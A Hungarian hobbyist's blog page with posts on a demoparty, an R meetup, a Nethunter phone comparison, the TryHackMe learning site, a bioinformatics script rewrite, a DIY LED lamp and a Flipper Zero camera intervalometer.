A Bad Apple-t nézni négy régi telefon számolós kijelzőjén teljesen szürreális élmény. Egy demoscenernek a Bad Apple olyan, mint az ABC egy betűje, bárhol felismeri. Megpróbáltam elképzelni, mit láthat ebből egy kívülálló, és azt gondolom, semmit. Ehhez olyan mértékű módosult tudat kell, hogy azt nem tudom szavakba önteni. Azt gondolom, erre nem mondhatjuk, hogy beteg. A beteg produkciók még érthetőek. Ez egy új kategória. Komolyan, ha már úgyis videón vágták össze a telefonok kijelzőjét, miért nem lehetett növelni a felbontást? Mintha a felismerés minimális szintjére akartak volna szorítkozni. Ha már elvont dolgoknál tartunk. Valahogy készítettek egy fájlt, ami egyszerre DOS, C64, GameBoy futtatható állomány, PDF és zip is egyben. A README elolvasása után azért kiderült, hogy csak emulátorban fut, de azért így is igazi kódpornó. A scroll már az a nyúl üregén innen van. Scrollbarokból készítettek demót.

PC Demo

Van egy sablon válasz a demósok között. Ha valaki elkezd panaszkodni, rendszeresen azt választják neki, hogy "menj, és készíts egy demót róla". Nos, az Apotheke készítője pontosan ezt tette. Megcsípte egy lódarázs, majd nem talált gyógyszertárat. A darázs modell nagyon szép lett.

Az ASD demókat nehéz megértenem. Ezt a mostanit még nehezebb megérteni. Mintha egy Bosch festmény elevenedett volna meg előttem. Lábon járó halak, fülbe mászó halak, csontvázak, valamint korábbi ASD demók elemei. Mintha összefoglalta volna eddigi munkásságát.

A Tannhauser Gate egy megosztó demó. Egyrészt egy része AI generált, másrészt nagyon jó a zenéje (amit Chaser komponált). Részletes modellek vannak benne, de Unity. Van benne egy nagyon jó ember modell, ami úgy viselkedik, mint egy autista. A hangulata kiváló, de feltűnőek a hibái.

PC 64k

A Conspiracy, ahogy várható volt, letarolta a kompót. Nagyon szép folyadék szimulációt láthattunk.

PC 4k

Az intrókkal nagyon meggyűlt a bajom. A Windows Defender kérdés nélkül törölte a kicsomagolt intrókat, a Firefox meg alig akarta letölteni őket. A fene egye meg, már választási lehetőséget sem adnak a felhasználónak. Kikapcsoltam a Defendert, erre azt írta, hogy ne sokáig örüljek, mert ő bizony vissza fog kapcsolódni. Már azt sem engedik, hogy láncfűrésszel zsonglőrködjek.

Legjobban a Return to the nature tetszett Silviatól. Talán kódban nem volt olyan erős, de a történet kerek volt, a rendelkezésekre álló eszközökkel maximálisan támogatott. Reménykedtem benne, hogy LJ/Vigrill páros megint bedobja magát, mint tavaly, de idén visszafogták magukat. Azért a második helyet így is könnyedén hozták.

Oldskool demó

Most annyira nem tetszettek a régi hardveres demók. A Ghost NOP tényleg kiemelkedett a mezőnyből, de korábbi évekhez képest szerintem nem volt annyira jó. A Push nem értem, miért a demók között indult, hiszen csak 64k. Egyébként ötletes hamis folyadék szimuláción alapult. A Lethargy lendülete, mintha megtört volna. Az utóbbi időben olyan okés produkciókat mutattak. A mostani ráadásul nem is C64-en, hanem NES-en villantottak.

Amiga demó

Most az Amiga demók sem voltak olyan jók. A győztes Deep Meet-et inkább a zene és a grafika vitte el a hátán, mint az effektek.

Amiga intró

Ezek már jobban bejöttek. A Twitch Elite például tele volt élettel, pörgött, és az effektek is egészet alkottak az intróval. A Spaceball intró is bejött, de még 7. helyezett rasterbar őrület is.

256byte intró

Csak egyet mondok: Remnants. Eget rengető kód. HellMood Amigás intrója is óriási volt. Mikor az ember azt hitte, már mindent látott, a labda elkezdett pattogni. Azért Rrola-nak sem kell szégyenkeznie, három csatornás zenét nyomatott intrója alatt. Nem hiszem, hogy hallottam volna ehhez foghatót. De még a hatodik helyezettnek sincs oka szégyenkezni, mert 1024x768-ban a barokk spirál is szép volt, hogy közben Bach szólt, az igazi ráadás.

Játékok

Bár a játékok nagy része nem volt túl érdekes, azért akadt néhány érdekesség. Először is a TimTris, ami egy Tetris klón. Itt inkább a platform, ami a különlegességet adja. Egy volt Jugó gép, amire elveszett az összes progi. Még sohasem hallottam róla. Ugyan ez elmondható az Agony-ról, aminél még azt sem tudtam kitalálni, miféle játékról van szó. Ez egy KC-85-ös játék. Ott volt még a You Gnatt Be Serious, amit csak azért emelek ki, mert ez egy olyan játék, ami nem játék. Úgy értem, a játék lényege, hogy táblázatot töltsünk ki. A végén még valaki kitalál egy olyan játékot, ahol SAP-t, vagy Neptun-t kell kitölteni. De ha valami komolyat kell említeni (már amennyire egy játék komoly), akkor a Glubble-t kell említeni. Egy logikai játék, ami nagyon hasonlít a KAtomic-ra. Szép a grafikája, jó az irányítás és Amigás.

Szólj hozzá!

Címkék: demoscene

R meetup

2024.04.19. 11:28 Travis.CG

Az idei R meetup középpontjában a bioinformatika volt. Az első meghírdetett nap nem volt jó nekem, ezért nem foglalkoztam vele, hiába jött kétnaponta a levél, hogy valaki adjon már elő az eseményen. Valószínűleg nem találtak embert, mert technikai problémára hivatkozva későbbre tolták a találkozót. Ez az időpont viszont megfelelt nekem.

Még az is megfordult a fejemben, hogy akár előadást is tarhatnék. Egy könnyedebbet arról, hogy néha jó, ha nem R-t használunk. A tervemet elküldtem, amit el is fogadtak.

El is jött a nagy nap. Ha szigorúan vesszük, akkor két előadás volt csak bioinformatika témájú. Egy AlphaFold-os és egy single cell-es. Ezen kívül egy erdészeti, egy orvosi és az én ismeretterjesztő előadásom volt. Öt embert sikerült összeszedni, ebből csak ketten beszéltek kifejezetten R-ről.

A hallgatóság nagy része sem bioinformatikus volt, inkább adattudomány területről jöttek és cégek alkalmazásában álltak. A beszélgetésekből azt szűrtem le, hogy legtöbben Python-t használnak, nem R-t, az már csak nosztalgia számukra.

Úgy néz ki, sokáig már nem érdemes R-el sem foglalkozni. A régi istenek meghaltak.

1 komment

Címkék: bioinformatika

A Mikulás-művelet

2024.03.28. 11:14 Travis.CG

A kütyümánia ragályos. A geekek pedig mindenkit megfertőznek vele.

A lányom abban a korban van, amikor már sejti az igazságot a Mikulásról, Nyusziról és más, a gazdasági szabályokra fittyet hányó entitásokról, mégis szeretne hinni a csodában. Az ellentmondást pedig bizonyítékokkal akarja feloldani: Elhatározta, hogy rejtett kamerával videóra veszi a Mikulást.

Elkérte az egyik kamerámat, és különböző rejtekhelyeket keresett neki. Már hetekkel a nagy nap előtt tervezte, miként hajtja végre az akciót. Majd eljött a nagy nap. A kamera "forgott" és felvett valamit. Amikor a lányom meglátta, hogy az ajándékok megérkeztek, előszedte a kamerát, és visszanézte a felvételt.

Először csak az üres szobát lehetett látni. Kis idő elteltével lehetett hallani, hogy valaki közelít a szoba felé. Aztán ez a valaki lekapcsolta a villanyt. A sötétben zacskók zörögtek, és mire ismét világos lett, az ajándékok a helyükön voltak.

A lányom tucatszor megnézte a felvételt, hátha felfedez rajta valami kis apró nyomot.
- Lekapcsolta a villanyt? - kérdezte.
- Úgy látszik a Mikulás sokkal ravaszabb, mint gondoltuk - mondtam.
Nagy komolyan rám nézett:
- Apa, van infra kamerád?

Már előre félek a Húsvéttól.

Szólj hozzá!

Címkék: életmód

Nagy Nethunter összehasonlító teszt

2024.03.26. 23:22 Travis.CG

Két telefont frissítettem a legújabb Nethunterre. Az egyik egy Nokia 6.1 Plus, a másik a Pinephone Pro. Előbbi egy LineageOS alapú rendszer, Androidos gyökerekkel. A második egy igazi Linuxos telefon kötöttségek nélkül, viszont kiforratlan rendszerrel. Nagyon különböznek, de mennyire? Teszteljük le!

Telepítés

Nokiára felvarázsolni a Nethuntert nem könnyű, rootolni nem könnyű. Én mikor először telepítettem, azt tapasztaltam, hogy a Netunter egy olyan LineageOS-t kívánt, ami már nem volt elérhető. Csomó idő volt, mire megjött a megfelelő frissítés. A Pinephone esetén a ROM-ot az SD kártyára felmásolom és bekapcsolom a telefont.

Alap rendszer

Első körben csak az alap rendszert tettem fel, tehát egyiken sem telepítettem plusz csomagokat. Mindkét készüléken van terminál. Itt a Nokia billentyűzet kiosztását jobbank találom, mert a fontosabb gombok azonnal elérhetőek. A Pinephone esetén például a TAB billentyű eléréséhez váltani kell egy másik kiosztásra. A pipe elérése mindkét rendszeren nehézkes. A gépelés talán a Pinephone-nál jobb.

console.jpg

Az üzemidőben és a kamerában a Nokia előnye vitathatatlan. A LineageOS kamera beállításai nem vetekednek egy igazi Androidos rendszerrel, de mindkét hátlapi és előlapi kamera elérhető. Egy zöldes képet elő lehet csalni a Pinephone-ból is, de nem Nethunter alatt.

A beállítások a Nokiánál, hála az Androidos örökségnek, szintén könnyebbek. A Pinephone esetén turkálni kell a konfigurációs állományokban.

VPN kapcsolódás

A mai világban alapvető igény, hogy VPN-t tudjunk használni. A Nokia alapból tartalmazza az OpenVPN-t, de a Pinephone semmit sem.

Hálózati szkennelés

Az első nagy csalódás, hogy a Pinephone verzióból hiányzik az NMap. Ez elég rossz, majdnem olyan, mintha nem lenne szövegszerkesztő egy irodai gépen. A Nokia ezzel fel van szerelve, tehát egy hálózati keresést rögtön végre lehet hajtani.

Weboldal felderítés

A CTF-ek nagy részében szükséges egy weboldal rejtett könyvtárainak keresésére. Kedvencem a gobuster, de a dirb, dirbuster is remekül használható. Egyik telefonon sincs fent egyik eszköz sem.

Nyers erő

Nyers erővel támadni nem kifizetődő (pláne a telefonok szűkös erőforrásaival), de néhány CTF esetén szükség van rá. A Nokián van egy John the Ripper, de Hydra, hashcat, egyiken sincs.

Wifi

A YouTube videók nagy többsége wifit akar törni. Alapból a Pinephone wifi adaptere nem ismeri a monitor módot. Úgy emlékszem  a régebbi Nethunter kezelte a külső wifi adaptereket, de ez a legújabb verzió nem ismeri fel. (Manjaro alatt továbbra is működik.) A Nokia viszont igazi meglepetés volt. Megy a monitor mód a beépített wifivel, nem kell külső eszköz és a wifite is a rendszer része. A YouTube-kölykök talán tovább sem olvassák a bejegyzést :-)

Szkriptelés

Bash, Python3, Perl mindkét rendszeren van. A Nokián még Ruby és Python2 is elérhető. Lua egyiken sincs.

Fordítóprogramok

GCC mindkét rendszeren van, de Make és Git csak a Nokián. CMake egyiken sem.

Feltúrbózva

Mint látható, az alap rendszer segítségével nem aknázzuk ki a telefonok teljes potenciálját. Bár mindkettő készülékben van csomagkezelő, ezek lehetőségeikben eltérnek.

Először is, a Pinephone alatt egy komplett, asztali Linuxal összemérhető rendszert érünk el, tehát a csomagkezelőből bármilyen Linuxos programot feltelepíthetünk. A grafikus alkalmazások is futnak, de a telefon sajátságai miatt az egyes képernyő elemeket néha nehezen látjuk, vagy nehéz rábökni.

A Nokia esetén a Nethunter egy virtuális gépben fut, a rendszertől szeparálva. Ezért gyakorlatilag három helyről jöhetnek programok. Az első hely az Androidos világ, ez lehet az FDroid, de akár a Google saját áruháza is. Minden forrást ide értek, amelyek egy hagyományos Androidos telefonra is elérhetőek. A második csoport a Nethunter saját alkalmazásboltja. Ez elég vérszegény, sok alkalmazás nem is működik rendesen. A harmadik forrás pedig a Linuxos világ, a GitHub-al, apt-al, pip-el.

Természetesen itt is van lehetőség grafikus programok telepítésére, de az előbb említett sajátosságok miatt közvetlenül ezek nem futtathatóak. Szükség van egy VNC kliensre, amit Nethunter alatt KeX-nek neveznek. Ezt be kell konfigurálni, és akkor már a teljes grafikus felület megjelenik. Ha a Pinephone-nál a grafikus programok használata nehézkes, itt egyenesen kínszenvedés. Egy full HD desktop egy telefon képernyőjén minden, csak nem felhasználó barát.

Fejlesztés

Egy rendszer használata során előbb-utóbb előjön a testre szabás igénye. Szükségessé válik, hogy saját fejlesztésű programok fussanak. Nokia esetén itt szintén el kell választani a telefonos és Linuxos fejlesztéseket. Ha a telefonra akarunk fejleszteni, akkor nem ússzuk meg az Android Studiot. Linux alatt pedig azzal szembesülhetünk, hogy egy virtuális környezetbe vagyunk zárva. Ez nehézkesebbé teszi a fejlesztést.

A Pinephone itt tud remekelni igazán. Egy egyszerű Python szkriptet is ki tudunk tenni ikonba a fő képernyőre. A programjaink a teljes rendszert elérhetik, minden erőforrás a rendelkezésünkre áll. A Nethunter itt maga a rendszer, és nem a rendszeren futó applikáció, mint a Nokia esetén. Viszont a kisebb felhasználó bázis miatt kevesebb, bugosabb programokat kaphatunk.

gui.jpg

Szólj hozzá!

Címkék: biztonság pinephone

TryHackMe

2024.03.17. 20:19 Travis.CG

A picoCTF jó, de egyben nagyon frusztráló is. Igazából nem tanulás centrikus, hanem arra jó, hogy ha valakinek stabil alapjai vannak, akkor kifacsart feladatokon keresztül gyakorolhat. Elkezdett érdekelni, honnan lehetne a stabil alapokat megszerezni. Így került képbe a TryHackMe.

Az oldal tényleg abszolút a nulláról építkezik. Szerettem volna elkerülni, hogy rések legyenek a tudásomban, ezért mindent elkezdtem csinálni rajta, még a Linux paranccsort is. Ez jó taktikának bizonyult, mert még ezek között is találtam olyat, amiről nem hallottam. Például a pkexec-ről.

Az oldal úgy épül fel, hogy szobák vannak. Vannak ingyenes és fizetős szobák. Egy szoba általában egyféle tudás átadására épül. Az egymásra épülő szobák pedig egyfajta kurzusokat alkotnak, amiket ösvényeknek hívnak. Ezeken kívül még vannak modulok is, ahol a szobák egy nagyobb téma köré csoportosulnak, ami nem férne bele egy szobába. Az ösvények és modulok természetesen úgy vannak összeválogatva, hogy előfizetés nélkül egyiket sem lehet elvégezni, mert mindegyikben akad fizetős szoba is.

A szobákhoz tartozik két virtuális gép. Az egyik úgy van felépítve, hogy tartalmazzon bizonyos sebezhetőségeket, a másikra pedig telepítették feltöréshez nélkülözhetetlen progikat. Én VPN-en keresztül használom a rendszert, tehát a második virtuális gépre nincs szükségem. (Előfizetés nélkül ugyanis egy nap csak 1 órát használhatjuk a támadó gépet, ennyi nekem nem elég.)

Először úgy döntöttem, csak az ingyenes szobákra koncentrálok, és a könnyűtől a nehezekig haladok. Rengeteg olyan szoba is van, ami gyakorlatilag ugyan arról szól, csak egy kicsit másképp mondják el a dolgokat, de ez most még nem zavar engem, mert úgy érzem, növeli a rutinomat. Márpedig rutinra nagy szükségem van. A feladatok megoldása is jobb, mint a picoCTF-nél, mert szétszedik több lépésre, így mindig csak egy részfeladatot kell megoldni.

Az egyetlen problémám, hogy néha nem egyértelmű számomra, mit is kell válaszként beírni. Például egy OSINT szobában egy képről kellett megállapítani, hol készült. Sikerült megtalálni a helyet, ami egy kampusz volt, de több, mint egy órán keresztül azon szórakoztam, hogy végigpróbáltam minden létesítményt, ami a kampuszon fellelhető, mert nem tudtam, melyikre gondolnak. De ez ritkán fordul elő, ráadásul a net tele van megoldásokkal, ha valaki elakad.

Ha végigcsinálok egy szobát, utána általában meg szoktam nézni, mások miként jutnak el egy megoldásra. Ez is tanúságos szokott lenni. Például egy feladat során egy fájlt tartalmát kellett megnézni webszerveren, de nem lehetett használni a cat, head, tail, vim, nano parancsokat, mert azokat letiltották. Én simán kiírattam grep .-al mindent, de mikor a végén elolvastam mások megoldását, kiderült, hogy ők less-t használtak. Ez eszembe sem jutott, mert a less-t interaktív parancsnak gondoltam, nem tudtam, hogy más módon is tud működni.

Az oldal erősen épít a gamifikációra, ezért szerezhetünk kitüntetéseket, láthatjuk a nevünket különböző listákon, stb. A weboldalon is büszkén hirdetik, hogy 3 millió felhasználójuk van, de ez ne ijesszen meg senkit, ennyi aktív kiberharcos nincs a világon. A regisztrált felhasználók 80%-a nem csinál semmit. Megcsináltam 10-15 irtó primitív szobát (hogyan működik a web, mi az a bash, stb), és máris a felső 40%-ban találtam magam. Igaz, utána már azokkal vagyunk versenyben, akik tényleg tanulnak, tehát a szintlépés folyamatosan nehezedik.

Azt hiszem megvan az új homokozó, ahol játszhatok.

Szólj hozzá!

Címkék: biztonság

Nirvana kimenet

2024.03.03. 22:37 Travis.CG

Bár egyre kevesebb szükség van a tudásomra, azért néha akkor is segítek, ha nem kérik. Legutóbb arra kértek, hogy egy R szkriptet futtassak a szerveren, mert a PC-n ahol eddig futott, túl lassú. Fél óráig dolgozott fel egy JSON fájlt. Eddig simán kivárták a fél órát, de amikor tíz fájlt kellett konvertálni, már elfogadhatatlan volt a sebesség, amit ráadásul csak szekvenciálisan futtattak.

Nem tudtam elképzelni, miért tart fél óráig egy JSON konvertálás, de biztos voltam benne, hogy nem a szerverre telepítés a megoldás. Mivel az R mindent memóriában tárol, a JSON nem lehet nagy, hiszen egy egyetemi tucat PC-n futott. Ebből arra következtettem, hogy a kóddal lehet gond. Gondoltam, át kellene írni másik programozási nyelvre a szkriptet, mert az R nem a legjobb szöveg feldolgozásra, másrészt még egy egyszerű ciklus is tetü lassan fut rajta.

Közben kiderült, hogy a JSON-t a Nirvana nevű program generálta. Az Illuminánál próbálták kiváltani a szószátyár VCF-t egy kompaktabb formára, ennek eredménye lett ez a JSON. Ez viszont nem Excel-barát, ami a kutatás No 1. szoftvere. Ezért írták az R szkriptet.

A doksi átböngészése után tudtam, hogy a Nirvana JSON fájlja három részre tagozódik a fájl: Az első egy fejléc, a második a variációkat írja le a genomon, a harmadik rész pedig a gén annotáció.

Megnéztem a szkriptet is. A szkript azért volt lassú, mert minden egyes genomi variáció esetén bejárta a gén annotációt is, ahelyett, hogy egy lookup table-t hozott volna létre. A saját implementációm Pythonban készült, semmi extrát nem tartalmazott, csak letároltam a géneket egy hash-be, és tadá! 3 perc alatt lefutott egy 140MB-os fájlon.

A kollégák annyira nem értékelték, továbbra is jól elvannak a szerveren futó R szkriptjükkel, ami hétvégére jó kis elfoglaltságot ad a szervernek. Ha valakinek még szüksége lenne Nirvana parszolásra, itt megtalálja.

Szólj hozzá!

Címkék: bioinformatika

Videós lámpa

2024.03.02. 19:45 Travis.CG

A lányom törött tablet képernyőjét fel akartam használni, hiszen a törött üvegfelület ellenére van néhány értékes alkatrész benne. És ekkor jutott eszembe, hogy kellene egy lámpa, ami szórt fényt produkál. Mert az milyen menő.

Először is darabokra kellett szedni a képernyőt. A törött üveg alá egy késsel benyúltam, és szép lassan fejtettem le a szilánkokat. Mikor ezzel megvoltam, a rétegek elválasztása már nem volt problémás, mert csak a szélén ragasztották őket egymáshoz. Még melegíteni sem kellett, kézzel szépen lejöttek.

layers.jpg

Legfelül egy tükröződő lap volt, ez szerintem derítőlapnak tökéletes lenne. Alatta egy olyan réteg volt, ami a fényt polarizálta. Ez nagyon tetszett a lányomnak, ezért megkapta.

polariser.jpg

Utána következett maga az érintőlap, ez egyébként csak egy áttetsző műanyag, végül egy opálos lap, amin homályosan lehetett átlátni. Ez kellett nekem. Ezen kívül volt egy vékony fém réteg, és egy műanyag váz.

Úgy döntöttem, a műanyag váz jó lesz a lámpa vázának is, mert lyukacsos. Viszont nem volt pereme. Valahogy meg kellett emelnem a szélét, hogy legyen hely a ledek és az áttetsző réteg között. Napokig nézegettem a kidobásra ítélt csomagolásokat, túrtam a kacatjaimat, mire megtaláltam a megfelelő alapanyagot: a jégkrém pálcikákat. Igen, van egy dobozom tele jégkrém pálcikával. Igen, ennyire szánalmas vagyok.

spacer.jpg

Szóval a jégkrém pálcikákkal olyan magas peremet készíthetek, amilyen magasat csak akarok. Négy réteg elég vastagnak tűnt. Ugyanis biztos voltam benne, hogy a lámpa melegedni fog, szükség lesz szellőzésre. A tablet műanyag kerete így is lehetőséget ad a levegő mozgására. A pálcikákat sem raktam olyan szorosan, hogy ott is mozoghasson a levegő.

stage1.jpg

Még a körvakus projektből maradt egy csomó ledem. Mindet felhasználtam. Azt akartam, hogy világítson, mint a fene. Apám ajándékozott két kiló gépjárműből bontott vezetéket nekem annak idején, ezért gondoltam, olyan menő leszek, hogy a pozitív és negatív pólust különböző színű vezetékkel fogom összeforrasztani. Sajnos nem terveztem meg jól a színválasztást, mert a + vég lett a fekete és a - a fehér. Ez csak a legvégén tudatosodott bennem.

Az elemek összeépítésénél erősen támaszkodtam a ragasztópisztolyra. Még nem tettem rá a végső réteget, amikor kipróbáltam a lámpát. Az átalakított PC-s tápegység szolgált áramforrásnak. Elkezdtem tesztelni, mennyire működik jól.

stage2.jpg

Nos, számítottam melegedésre, de arra nem, hogy a ragasztó ennek hatására elenged. A ledszalagok pár perc működés után kezdtem elmozdulni. Ez így nem lesz jó. Szükség lesz hűtésre.

A kacatok között találtam egy régi alaplapi ventillátort. Az kötöttem a ledek után. Újabb tesztek következtek, és ez már elég volt, hogy a ragasztó megtartson. A ventillátort is ragasztópisztollyal rögzítettem.

stage3.jpg

Nagyon erős a fénye, szerintem a ledek fele is elég lett volna. Sőt, ha jobban megtervezem, rakhattam volna bele egy kapcsolót, amivel állíthatom, hogy mennyi led világítson. A másik potenciális probléma, hogy a venti elég hangos, hogy a videóba is hallatszon. Ha egy processzor hűtőt használtam volna, az biztosan halkabb eredményt ad.

Szólj hozzá!

Címkék: barkácsolás

Flipper projekt: intervalométer

2024.02.17. 18:39 Travis.CG

Az első projekt a szuperkütyüre egy egyszerű intervalométer lesz. Ez egy nagyon egyszerű szerkezet, mégis szükségtelenül drága. Ez a drágaság azért is furcsa számomra, mert az újabb fényképezőgépeken van ilyen beépített funkció, ha máshogy nem, egy telefononos applikáción keresztül elérhető.

Nekem egy viszonylag régi Canon 5D II-m van, amihez nem lehet még telefont kapcsolni, de a Magic Lantern firmware-en keresztül ott is elérhető ez a funkcionalitás.

Szóval összességében nincs nagy jelentősége ennek a projektnek, de azért megcsináltam.

Először is, valahogy meg kellett oldanom a fényképezőgép csatlakoztatását. A Canon 5D-re egy úgynevezett N3-as csatlakozón keresztül lehet távkioldót vagy intervalométert kapcsolni. Ez egy hülye alakú dugó, aminek az lenne a szerepe, hogy megnehezítse a hozzám hasonló barkácsolók életét, de szerencsére nem végeztek tökéletes munkát. Az Amigás tápegység elkészítésekor eltettem a molex csatlakozót.

molex.jpg

A műanyagból késsel és fogóvak kibányásztam a négyzet keresztmetszerű érintkezőket, mert úgy gondoltam, ezek később még jók lesznek. Sajnos túl nagyok voltak, de egy fogóval addig nyomkodtam őket, míg elég kicsik nem lettek. Ha véletlenül túlságosan is összenyomtam őket, akkor egy tűvel feszegettem szét. A fogó és a tű váltogatott használatával sikerült csatlakozókat készítenem.

 kabel.jpg

Az interneten mások is eszkábáltak csatlakozókat, a kedvencem, amikor VGA kábelből vágták ki a megfelelő részt, majd belefaragták a helyére.

A három kábel közül megvan, hogy melyik kettőt kell összeérinteni (mint a régi filmekben, amikor autót loptak), hogy a fényképező kioldjon. Ez kézzel ment. Ideje volt megoldani, hogy egy elektronika tegye ezt helyettem. Átnéztem a kacatjaimat, hogy mit tudnék használni. Találtam néhány optikai csatolót, gondoltam ezek jók lesznek.

Először Arduinóval csináltam egy próbát. A célom az volt, hogy lássam, milyen problémák léphetnek fel. Mint kiderült, legalább 500ms ideig zárni kell az áramkört, különben a fényképezőgép nem old ki. Hmm, erre nem is gondoltam.

probapanel.jpg

Mikor Arduinoval ment a csattogtatás, jöhetett a második próba a Flipperrel. Van egy beépített GPIO tesztelő alkalmazás, azt használtam. A rendszer továbbra is működőképes volt.

flippertest.jpg

Jöhetett a forrasztás. A cuccaim között találtam egy kísérleti nyákpanelt, amire forrasztottak dolgokat. Azokat kiforrasztottam és a saját elemeimet raktam rájuk. Az eleje még szép volt, de a hátulja, ahová a drótokat forrasztottam, már ronda lett. Nem baj, kicsit cyberpunk-os lett legalább.

final.jpg

Az elején még tetszett a szigetelőszalagos csatlakozó, de mikor már többször húztam ki és be, a széle elkezdett felgyűrődni, a ragacs pedig mindenre ráragadt. Kénytelen voltam zsugorcsővel helyettesíteni.

A hardver elkészült, szükség volt szoftverre. Több intervalométer is van Flipperhez, de én úgy döntöttem sajátot írok, hogy jobban megértsem a kis szerkezet lelki világát. A fejlesztésnél alapvetően két kihívás volt. Az első a gombok kezelése. Egy korábbi verzióban ugyanis mikor lenyomtam a gombot, a program fő ciklusa többször is végigszaladt. Ennek az lett az eredménye, hogy amikor a vissza gombot megnyomtam, nem csak egy menüt ugrott vissza, hanem a programból is kilépett. Ezt a

A második kihívás a visszaszámlálás volt. Ezt egy időzítővel oldottam meg, amit a furi_timer_alloc-al foglaltam le és a furi_timer_start-al indítottam. Amikor megnyomtam a vissza gombot, akkor meg leállítottam. A gpio portok programozását magas szintű függvényekkel oldottam meg (furi_hal_gpio_write). A teljes kód itt található. A poszt írásának idején még nem volt meg minden funkció. Például fényképezés előtt nem volt élesség állítás és az első kép elkészítése előtti késleltetést sem implementáltam.

Szólj hozzá!

Címkék: barkácsolás flipperzero

süti beállítások módosítása